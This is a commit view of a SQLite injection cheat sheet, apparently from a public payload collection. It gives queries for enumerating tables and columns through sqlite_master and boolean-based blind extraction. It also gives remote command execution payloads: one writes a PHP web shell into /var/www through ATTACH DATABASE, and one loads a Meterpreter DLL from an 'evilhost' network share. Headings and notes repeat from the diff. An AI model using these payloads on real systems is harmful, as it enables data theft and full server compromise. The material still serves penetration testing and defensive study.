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SQLite injection update-Extract table/column name

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Swissky 2017-02-21 09:16:51 +01:00
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SQL injection/SQLite Injection.md
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# SQLite
# SQLite Injection
##Remote Command Execution using SQLite command - Attach Database
## Integer/String based - Extract table name
```
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
```
Use limit X+1 offset X, to extract all tables.
## Integer/String based - Extract column name
```
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
```
For a clean output
```
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
```
## Boolean - Count number of tables
```
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
```
## Boolean - Enumerating table name
```
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
```
## Boolean - Extract info
```
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
```
## Remote Command Execution using SQLite command - Attach Database
```
ATTACH DATABASE ‘/var/www/lol.php’ AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES (‘<?system($_GET[‘cmd’]); ?>’);--
```
##Remote Command Execution using SQLite command - Load_extension
## Remote Command Execution using SQLite command - Load_extension
```
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
```
Note: By default this component is disabled
Note: By default this component is disabled
## Thanks to
[Injecting SQLite database based application - Manish Kishan Tanwar](https://www.exploit-db.com/docs/41397.pdf)